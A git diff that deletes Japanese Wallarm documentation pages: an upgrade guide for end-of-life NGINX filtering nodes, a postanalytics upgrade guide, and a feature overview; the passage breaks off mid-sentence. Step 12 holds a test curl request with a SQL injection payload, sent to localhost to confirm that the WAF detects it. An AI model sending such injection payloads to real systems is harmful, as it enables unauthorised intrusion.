+0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../installation/custom/custom-nginx-version.md -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[sqli-attack-docs]: ../../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../../installation/oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# EOLのWallarm NGINXモジュールのアップグレード - -本手順では、サポート終了のWallarm NGINXモジュール(バージョン3.6以下)を最新のバージョン6.xにアップグレードする手順を説明します。Wallarm NGINXモジュールとは、以下のいずれかの手順に従ってインストールされたモジュールです。 - -* NGINX stable向け個別パッケージ -* NGINX Plus向け個別パッケージ -* ディストリビューション提供のNGINX向け個別パッケージ - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! info "all-in-oneインストーラーでのアップグレード" - 個別のLinuxパッケージは非推奨となったため、アップグレードはWallarmの[all-in-oneインストーラー](../../installation/nginx/all-in-one.md)で実施します。この方法は、以前の方式に比べてアップグレード作業と継続的なデプロイ保守を簡素化します。 - - インストーラーは以下を自動で実行します。 - - 1. OSとNGINXのバージョンを確認します。 - 1. 検出したOSとNGINXバージョン向けのWallarmリポジトリを追加します。 - 1. これらのリポジトリからWallarmパッケージをインストールします。 - 1. インストールしたWallarmモジュールをNGINXに接続します。 - 1. 提供されたトークンを使用してフィルタリングノードをWallarm Cloudに接続します。 - - 個別Linuxパッケージによる手動アップグレードは今後サポートされません。 - - ![手動とall-in-oneの比較](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## EOLノードをアップグレードする旨をWallarmテクニカルサポートに連絡してください - -サポート終了のWallarm NGINXモジュール(バージョン3.6以下)をバージョン6.xにアップグレードする場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)に連絡し、支援を依頼してください。 - -その他の支援に加えて、アカウントに新しいIP listsロジックを有効化するよう依頼してください。新しいIP listsロジックが有効化されたら、Wallarm Consoleを開き、セクション[**IP lists**](../../user-guides/ip-lists/overview.md)が利用可能であることを確認してください。 - -## 要件 - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## アップグレード手順 - -* フィルタリングノードとpostanalyticsモジュールが同一サーバーにインストールされている場合は、以下の手順に従って両方をアップグレードしてください。 - - クリーンなマシンでall-in-oneインストーラーを使用して新しいバージョンのノードを起動し、動作をテストし、旧ノードを停止して、トラフィックが旧マシンではなく新マシンを経由するように設定する必要があります。 - -* フィルタリングノードとpostanalyticsモジュールが別サーバーにインストールされている場合は、**最初に**postanalyticsモジュールを、**次に**フィルタリングモジュールをこれらの[手順](separate-postanalytics.md)に従ってアップグレードしてください。 - -## ステップ1: Threat Replay Testingモジュールを無効化します(ノード2.16以下をアップグレードする場合) - -Wallarmノード2.16以下をアップグレードする場合は、Wallarm Console → **Vulnerabilities** → **Configure**で[Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)モジュールを無効化してください。 - -アップグレード中にモジュールの動作が[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)を引き起こす可能性があります。モジュールを無効化すると、このリスクを最小化できます。 - -## ステップ2: クリーンなマシンを準備します - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## ステップ3: NGINXと依存関係をインストールします - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## ステップ4: Wallarmトークンを準備します - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## ステップ5: all-in-oneのWallarmインストーラーをダウンロードします - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## ステップ6: all-in-oneのWallarmインストーラーを実行します - -### フィルタリングノードとpostanalyticsが同一サーバー上にある場合 - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -### フィルタリングノードとpostanalyticsが別サーバーの場合 - -!!! warning "フィルタリングノードとpostanalyticsモジュールをアップグレードする手順の順序" - フィルタリングノードとpostanalyticsモジュールが別サーバーにインストールされている場合は、フィルタリングノードのパッケージを更新する前にpostanalyticsパッケージをアップグレードする必要があります。 - -1. これらの[手順](separate-postanalytics.md)に従ってpostanalyticsモジュールをアップグレードします。 -1. フィルタリングノードをアップグレードします: - - === "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します(Wallarm Console UIでノードを論理的にグルーピングするために使用します)。 - - === "Nodeトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - -## ステップ7: 以前のWallarmノードのバージョンから6.xへallowlistとdenylistを移行します(ノード2.18以下をアップグレードする場合のみ) - -ノード2.18以下をアップグレードする場合は、以前のWallarmノードバージョンから最新バージョンへallowlist/denylist設定を[移行](../migrate-ip-lists-to-node-3.md)してください。 - -## ステップ8: 旧ノードのマシンから新しいマシンへNGINXおよびpostanalyticsの設定を移行します - -必要なディレクティブまたはファイルをコピーして、旧マシンから新マシンへノード関連のNGINXおよびpostanalytics設定を移行します。 - -* `http`レベルのNGINX設定が記述された`/etc/nginx/conf.d/default.conf`または`/etc/nginx/nginx.conf` - - フィルタリングノードとpostanalyticsノードが別サーバーにある場合は、フィルタリングノードのマシン上の`/etc/nginx/nginx.conf`の`http`ブロックで、`wallarm_tarantool_upstream`を[`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream)にリネームしてください。 -* トラフィックルーティングのためのNGINXおよびWallarm設定が記述された`/etc/nginx/sites-available/default` -* `/etc/nginx/conf.d/wallarm-status.conf` → 新しいマシン上の`/etc/nginx/wallarm-status.conf`にコピー - - 詳細説明は[リンク][wallarm-status-instr]内にあります。 -* `/etc/wallarm/node.yaml` → 新しいマシン上の`/opt/wallarm/etc/wallarm/node.yaml`にコピー - - 別のpostanalyticsサーバーでカスタムのホストとポートを使用している場合は、postanalyticsノードのマシン上で、コピーしたファイル内の`tarantool`セクションを`wstore`にリネームしてください。 - -### 非推奨のNGINXディレクティブをリネームします - -設定ファイルで明示的に指定している場合は、以下のNGINXディレクティブをリネームしてください。 - -* `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) -* `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) -* `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) -* `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) -* `wallarm_tarantool_upstream` → [`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) - -ディレクティブ名のみを変更しており、ロジックは変わりません。旧名称のディレクティブはまもなく非推奨になりますので、事前にリネームしておくことをおすすめします。 - -### ノードのログ変数を更新します - -新しいノードバージョンでは、[ノードのログ変数](../../admin-en/configure-logging.md#filter-node-variables)に以下の変更が加えられています。 - -* 変数`wallarm_request_time`は`wallarm_request_cpu_time`にリネームされました。 - - 変数名のみを変更しており、ロジックは変わりません。旧名も一時的にサポートされますが、変数のリネームを推奨します。 -* 変数`wallarm_request_mono_time`が追加されました。以下の合計である総時間に関するログ情報が必要な場合は、ログフォーマットの設定に含めてください。 - - * キュー内の時間 - * CPUがリクエスト処理に費やした秒数 - -### 最新バージョンで提供された変更に合わせてWallarmノードのフィルタリングモード設定を調整します - -1. 以下の設定の期待される動作が、[「off」と「monitoring」フィルタリングモードの変更されたロジック](what-is-new.md#filtration-modes)に合致していることを確認してください。 - * [ディレクティブ`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Consoleで設定する全体フィルタリングルール](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Consoleで設定するエンドポイント単位のフィルタリングルール](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. 期待される動作が変更後のフィルタリングモードのロジックに一致しない場合は、[手順](../../admin-en/configure-wallarm-mode.md)に従って設定を調整してください。 - -### `overlimit_res`攻撃検出の設定をディレクティブからルールへ移行します - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -### `wallarm-status.conf`ファイルの内容を更新します - -`/etc/nginx/conf.d/wallarm-status.conf`の内容を次のように更新してください。 - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.8/8; # フィルタリングノードサーバーのループバックアドレスからのみアクセス可能 - deny all; - - wallarm_mode off; - disable_acl "on"; # リクエスト送信元のチェックを無効化します。denylist上のIPでもwallarm-statusサービスへのリクエストが許可されます。 https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } -} -``` - -[統計サービスの設定の詳細](../../admin-en/configure-statistics-service.md) - -### Wallarmのブロッキングページを更新します - -新しいノードバージョンでは、Wallarmのサンプルブロッキングページが[変更されました](what-is-new.md#new-blocking-page)。ページ上のロゴとサポートメールはデフォルトで空になりました。 - -`&/usr/share/nginx/html/wallarm_blocked.html`のページをブロック時のレスポンスとして返すように設定している場合は、新しいサンプルページを[コピーしてカスタマイズ](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)してください。 - -## ステップ9: APIポートを更新します - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## ステップ10: Threat Replay Testingモジュールを再有効化します(ノード2.16以下をアップグレードする場合のみ) - -[Threat Replay Testingモジュールの設定に関する推奨](../../vulnerability-detection/threat-replay-testing/setup.md)を確認し、必要に応じて再有効化してください。 - -しばらくしてから、モジュールの動作で誤検知が発生していないことを確認してください。誤検知が発生する場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 - -## ステップ11: NGINXを再起動します - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## ステップ12: Wallarmノードの動作をテストします - -新しいノードの動作をテストするには、次を実施します。 - -1. 保護対象のリソースアドレスにテスト用の[SQLI][sqli-attack-docs]および[XSS][xss-attack-docs]攻撃を含むリクエストを送信します。 - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)のWallarm Console → **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 -1. Cloudに保存されているデータ(ルール、IP lists)が新しいノードに同期されたら、いくつかテスト攻撃を行い、ルールが期待どおりに動作することを確認します。 - -## ステップ13: トラフィックをWallarmノードへ送信するように構成します - -ロードバランサーの転送先を更新して、トラフィックをWallarmインスタンスに送信するようにします。詳細はご使用のロードバランサーのドキュメントを参照してください。 - -トラフィックを新しいノードへ完全に切り替える前に、まずは一部のみを切り替え、新しいノードが期待どおりに動作することを確認することを推奨します。 - -## ステップ14: 旧ノードを削除します - -1. Wallarm Console → **Nodes**で対象のノードを選択し、**Delete**をクリックして旧ノードを削除します。 -1. 操作を確認します。 - - ノードがCloudから削除されると、アプリケーションへのリクエストのフィルタリングは停止します。フィルタリングノードの削除は元に戻せません。ノードはノード一覧から完全に削除されます。 - -1. 旧ノードのマシンを削除するか、そのマシンからWallarmノードコンポーネントを削除します。 - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - -## 設定のカスタマイズ - -Wallarmモジュールはバージョン6.xに更新されます。以前のフィルタリングノードの設定は新しいバージョンに自動的に適用されます。追加の設定が必要な場合は、[利用可能なディレクティブ](../../admin-en/configure-parameters-en.md)を使用してください。 - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/separate-postanalytics.md b/docs/latest-ja/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index 4ebf93e529..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1,70 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-custom]: ../../custom/custom-nginx-version.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[statistics-service-all-parameters]: ../../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# EOL postanalyticsモジュールのアップグレード - -この手順では、別サーバーにインストールされているサポート終了のpostanalyticsモジュール（バージョン3.6以下）をアップグレードする手順を説明します。postanalyticsモジュールは、[Wallarm NGINXモジュールのアップグレード][docs-module-update]の前にアップグレードする必要があります。 - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! info "all-in-oneインストーラーでのアップグレード" - アップグレードは、個別のLinuxパッケージが非推奨になったため、Wallarmの[all-in-oneインストーラー](../../installation/nginx/all-in-one.md)を使用して実行します。この方法は、従来のアプローチと比べて、アップグレード手順と継続的なデプロイの保守を簡素化します。 - - インストーラーは次の処理を自動で実行します： - - 1. OSとNGINXのバージョンを確認します。 - 1. 検出したOSとNGINXのバージョン用のWallarmリポジトリを追加します。 - 1. これらのリポジトリからWallarmパッケージをインストールします。 - 1. インストールしたWallarmモジュールをNGINXに接続します。 - 1. 提供されたトークンを使用してフィルタリングノードをWallarm Cloudに接続します。 - - 個別のLinuxパッケージによる手動アップグレードはサポートされません。 - - ![手動方式との比較](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## 要件 - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## 手順1: クリーンなマシンを準備します - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## 手順2: Wallarmトークンを準備します - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## 手順3: all-in-oneのWallarmインストーラーをダウンロードします - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## 手順4: all-in-oneのWallarmインストーラーを実行してpostanalyticsをインストールします - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -## 手順5: APIポートを更新します - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## 手順6: 別サーバー上のNGINX-Wallarmモジュールをアップグレードします - -postanalyticsモジュールを別サーバーにインストールしたら、別のサーバーで稼働している[関連するNGINX-Wallarmモジュール](nginx-modules.md)をアップグレードします。 - -## 手順7: NGINX-Wallarmモジュールをpostanalyticsモジュールに再接続します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect.md" - -## 手順8: NGINX‑Wallarmと別設置のpostanalyticsモジュールの連携を確認します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check-latest.md" - -## 手順9: 古いpostanalyticsモジュールを削除します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/what-is-new.md b/docs/latest-ja/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index 371d7b1227..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1,666 +0,0 @@ -# EOLノードをアップグレードする場合のWallarmノードの新機能 - -このページでは、旧バージョン（3.6以下）のノードを5.0にアップグレードした際に利用可能になる変更点を一覧で紹介します。記載の変更は、通常（クライアント）ノードとマルチテナントノードの両方に適用されます。 - -!!! warning "Wallarmノード3.6およびそれ以前は非推奨です" - Wallarmノード3.6およびそれ以前は[非推奨](../versioning-policy.md#version-list)のため、アップグレードを推奨します。 - - バージョン5.xのWallarmノードでは、ノード構成とトラフィックのフィルタリングが大幅に簡素化されています。5.xの一部の設定は旧バージョンのノードと**互換性がありません**。モジュールのアップグレード前に、変更点のリストと[一般的な推奨事項](../general-recommendations.md)を必ず確認してください。 - -## All-in-oneインストーラーとDEB/RPMパッケージの非推奨化 - -さまざまな環境でNGINXの動的モジュールとしてWallarmノードをインストール・アップグレードする際は、導入プロセスの効率化と標準化のために設計された**All-in-oneインストーラー**を使用します。このインストーラーは、OSとNGINXのバージョンを自動検出し、必要な依存関係をすべてインストールします。 - -インストーラーは以下を自動で実行し、作業を簡素化します: - -1. OSとNGINXのバージョン確認 -1. 検出したOSとNGINXのバージョンに対応するWallarmリポジトリの追加 -1. それらのリポジトリからのWallarmパッケージのインストール -1. インストールされたWallarmモジュールのNGINXへの接続 -1. 提供されたトークンを用いたWallarm Cloudへのフィルタリングノードの接続 - -[All-in-oneインストーラーでのノードアップグレードの詳細 →](nginx-modules.md) - -ノードインストール用のDEB/RPMパッケージは現在「非推奨」です。 - -## collectdの廃止 - -これまで全フィルタリングノードにインストールされていたcollectdサービスおよび関連プラグインは削除されました。メトリクスはWallarmの組み込みメカニズムで収集・送信され、外部ツールへの依存が低減されます。 - -PrometheusおよびJSON形式で同等のメトリクスを提供する、collectdの代替である[`/wallarm-status`エンドポイント](../../admin-en/configure-statistics-service.md)を使用してください。 - -この変更の結果、設定ルールにも以下の変更があります: - -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf`のcollectd設定ファイルは使用されなくなりました。 -* 以前にcollectdのネットワークプラグインでメトリクスを転送していた場合、例えば: - - ``` - LoadPlugin network - - - Server "" "" - - ``` - - これからはPrometheusで`/wallarm-status`をスクレイプする方式に切り替えてください。 - -## API Sessions - -API経済に特化したユニークなセキュリティ機能 — [API Sessions](../../api-sessions/overview.md)を導入しました。これにより、API全体での攻撃、異常、ユーザー行動の可視性が得られ、ユーザーがAPIやアプリケーションとどのようにやり取りしているかの透明性が向上します。 - -![!API Sessionsセクション - 監視中のセッション](../../images/api-sessions/api-sessions.png) - -攻撃者は、正規ユーザーの行動に紛れて脆弱なエンドポイントを悪用することがよくあります。セッション全体のコンテキストがなければ、パターンや脅威の特定は、複数のツールやシステムをまたいだ時間のかかる作業になります。多くの組織はAPIレベルでの適切な可視性を持っていません。 - -API Sessionsにより、セキュリティチームはユーザーセッションごとに関連アクティビティをまとめて確認でき、攻撃シーケンス、ユーザーの異常、通常の行動をこれまでにない可視性で把握できます。これまで数時間から数日かかっていた調査は、Wallarm Consoleから数分で実行できるようになります。 - -主な特長: - -* 攻撃、異常、ユーザー行動の可視化: セッション内のすべてのリクエストを表示・分析し、攻撃ベクターや不審なパターンを追跡します。 -* レガシーおよびモダンなセッションの両方をサポート: アプリケーションがCookieベースのセッションやJWT/OAuthに依存していても、Wallarm API Sessionsは完全な互換性と可視性を確保します。 -* 個々の攻撃とそれに紐づくセッション間をシームレスに行き来できます。 - -API Sessionsにより、セキュリティチームは次のことを容易に行えます: - -* 脅威行為者の全活動を調査し、潜在的な攻撃経路や侵害されたリソースを把握します。 -* シャドーAPIやゾンビAPIへのアクセス方法を特定し、未文書や古いAPIによるリスクを軽減します。 -* セキュリティ調査時に同僚と主要な洞察を共有し、コラボレーションを促進します。 - -[詳細を読む](../../api-sessions/overview.md) - -## API Sessionsのレスポンスパラメータ - -!!! tip "" - [NGINX Node 5.3.0以上](../node-artifact-versions.md)および[Native Node 0.12.0以上](../native-node/node-artifact-versions.md) - -Wallarmの[API Sessions](../../api-sessions/overview.md)は、ユーザーの一連のアクティビティを可視化します。今回の拡張により、各セッションでリクエストだけでなくレスポンス情報も利用可能になりました: - -* 任意のレスポンスヘッダーやパラメータを、対応するリクエスト内に表示するよう設定でき、ユーザーアクティビティの明確で完全な全体像を得られます。 -* レスポンスパラメータをセッションのグルーピングキーとして使用できます（[例](../../api-sessions/setup.md#grouping-keys-example)参照）。これにより、リクエストのセッショングルーピング精度が向上します。 - -![!API Sessions - グルーピングキーの動作例](../../images/api-sessions/api-sessions-grouping-keys.png) - -## レート制限 - -適切なレート制限がないことはAPIセキュリティにおける重大な課題でした。攻撃者は大量リクエストを発生させてサービス拒否（DoS）やシステム過負荷を引き起こし、正規ユーザーに悪影響を与えます。 - -Wallarmのレート制限機能により、セキュリティチームはサービス負荷を効果的に管理し、誤検知を防ぎ、正規ユーザーに対してサービスの可用性と安全性を確保できます。この機能では、従来のIPベースのレート制限に加え、JSONフィールド、base64エンコードデータ、Cookie、XMLフィールドなど、リクエストやセッションのパラメータに基づく多様な接続制限を提供します。 - -例えば、ユーザーごとのAPI接続数を制限し、1ユーザーが1分間に何千ものリクエストを行うことを防げます。これはサーバーへの大きな負荷となり、サービス障害につながり得ます。レート制限を実装することで、サーバーの過負荷を防ぎ、全ユーザーに公平なAPIアクセスを保証します。 - -レート制限はWallarm Console UI → **Rules WAF** → **Advanced rate limiting**で、スコープ、レート、バースト、遅延、レスポンスコードをユースケースに合わせて指定するだけで簡単に設定できます。 - -[レート制限の設定ガイド →](../../user-guides/rules/rate-limiting.md) - -推奨はレート制限ルールの使用ですが、新しいNGINXディレクティブでも設定できます: - -* [`wallarm_rate_limit`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit) -* [`wallarm_rate_limit_enabled`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_enabled) -* [`wallarm_rate_limit_log_level`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_log_level) -* [`wallarm_rate_limit_status_code`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_status_code) -* [`wallarm_rate_limit_shm_size`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_shm_size) - -## Credential stuffing detection - -Wallarmはクレデンシャルスタッフィング試行のリアルタイム検出と通知を提供します。クレデンシャルスタッフィングとは、盗まれた/弱いユーザー名・メールアドレスとパスワードの組み合わせをWebサイトのログインフォームに自動投入し、不正にアカウントへアクセスする手口です。本機能により、漏えいした認証情報を持つアカウントを特定し、アカウント所有者への通知や一時的なアクセス停止などの対処が可能です。 - -[Credential Stuffing Detectionの設定方法](../../about-wallarm/credential-stuffing.md) - -![Attacks - クレデンシャルスタッフィング](../../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -!!! info "クレデンシャルスタッフィング検出をサポートする選択済みアーティファクト" - All-in-oneインストーラー、NGINX Ingress Controller、NGINXベースのDockerイメージ、クラウドイメージ（AMI、GCP Image）など、限定的なアーティファクトで新しいクレデンシャルスタッフィング検出機能がサポートされます。 - -## GraphQL API protection - -WallarmはデフォルトでGraphQL内の一般的な攻撃（SQLi、RCE、[など](../../attacks-vulns-list.md)）を検出します。しかし、プロトコルの特性により、過度な情報露出やDoSに関連する[GraphQL特有](../../attacks-vulns-list.md#graphql-attacks)の攻撃が可能です。 - -これらの攻撃への保護を導入しました。保護は、組織のGraphQLポリシー（GraphQLリクエストに対する制限のセット）を設定することで行います。設定された制限を超えるリクエストは、アクティブなフィルタリングモードに従ってフィルタリングノードが処理し、ポリシー違反として記録のみ、または記録してブロックします。 - -本機能の利用を開始するには、Wallarm Consoleで少なくとも1つの[**Detect GraphQL attacks**ルール](../../api-protection/graphql-rule.md#)を作成する必要があります。 - -[GraphQL API Protectionの設定方法](../../api-protection/graphql-rule.md) - -![GraphQLのしきい値](../../images/user-guides/rules/graphql-rule.png) - -## Mitigation Controls - -すべてのWallarm攻撃緩和設定を一元管理する管理センター — [**Mitigation Controls**](../../about-wallarm/mitigation-controls-overview.md)を導入しました。Mitigation Controlsにより、次のことが可能です: - -* すべてのWallarm緩和設定を1か所で表示・管理できます。 -* 統一的に管理できます（すべてのコントロールは類似の設定UIとオプションを備えます）。 -* 各コントロールの現在のモードを容易に把握できます: 有効か、監視のみか、ブロックもするか。 -* 各コントロールで捕捉された攻撃をすばやく俯瞰できます。 - -![UI内のMitigation Controlsページ](../../images/user-guides/mitigation-controls/mc-main-page.png) - -## ファイルアップロード制限ポリシー - -Wallarmはアップロードファイルサイズを直接制限するためのツールを提供します。これは、[OWASP API Top 10 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれる最も重大なAPIセキュリティリスクの1つである[unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)を防ぐための一連の対策の一部です。 - -サブスクリプションプランにより、アップロード制限はミティゲーションコントロールまたはルールで適用されます。リクエスト全体または選択したポイントに対してファイルサイズの制限を設定できます。 - -![File upload restriction MC - 例](../../images/api-protection/mitigation-controls-file-upload-1.png) - -### 列挙攻撃保護 - -!!! tip "" - [NGINX Node 6.1.0以上](../node-artifact-versions.md)および[Native Node 0.14.1以上](../native-node/node-artifact-versions.md) - -[列挙攻撃](../../attacks-vulns-list.md#enumeration-attacks)に対する新たな保護レベルとして、以下の列挙ミティゲーションコントロールを提供します: - -* [Enumeration attack protection](../../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../../api-protection/enumeration-attack-protection.md) - -従来のトリガーと比較して、ミティゲーションコントロールは次を可能にします: - -* 列挙試行の監視対象パラメータを選択できます。 -* カウント対象とするリクエストを高度に絞り込めます。 -* [API Sessions](../../api-sessions/overview.md)と深く統合されます: 検出された攻撃は対応するセッション内に表示され、何が起きてなぜそのセッションの活動が攻撃としてマークされ、ブロックされたのか、完全なコンテキストを提供します。 - -![BOLA保護ミティゲーションコントロール - 例](../../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -### DoS保護 - -!!! tip "" - [NGINX Node 6.1.0以上](../node-artifact-versions.md)および[Native Node 0.14.1以上](../native-node/node-artifact-versions.md) - -[unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、[OWASP API Top 10 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれる重大なAPIセキュリティリスクです。これは（過負荷によるサービスの遅延・停止という）脅威自体であるだけでなく、列挙攻撃などさまざまな攻撃の土台にもなります。同時刻に許容しすぎるリクエストは、これらのリスクの主因の1つです。 - -Wallarmは、APIへの過剰なトラフィックを防ぐための新しいミティゲーションコントロール[**DoS protection**](../../api-protection/dos-protection.md)を提供します。 - -![DoS protection - JWTの例](../../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -### 既定のコントロール - -有効化するとWallarmプラットフォームの検出能力を大幅に強化する[既定のミティゲーションコントロール](../../about-wallarm/mitigation-controls-overview.md#default-controls)を提供します。これらは一般的な攻撃パターンに対し堅牢な保護を提供するよう事前設定されています。現在の既定コントロールは以下のとおりです: - -* [GraphQL protection](../../api-protection/graphql-rule.md) -* ユーザーID、オブジェクトID、ファイル名に対する[BOLA（Broken Object Level Authorization）列挙保護](../../api-protection/enumeration-attack-protection.md#bola) -* パスワード、OTP、認証コードに対する[Brute force protection](../../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing protection](../../api-protection/enumeration-attack-protection.md#forced-browsing)（404プロービング） -* [Enumeration attack protection](../../api-protection/enumeration-attack-protection.md#generic-enumeration)（以下を含む）: - - * ユーザー/メールアドレス列挙 - * SSRF（Server-Side Request Forgery）列挙 - * ユーザーエージェントのローテーション - -## unrestricted resource consumptionからの保護 - -!!! tip "" - [NGINX Node 6.3.0以上](../node-artifact-versions.md)、[Native Node](../../installation/nginx-native-node-internals.md#native-node)は現時点では非対応です。 - -Wallarmの[API Abuse Prevention](../../api-abuse-prevention/overview.md)は、[unrestricted resource 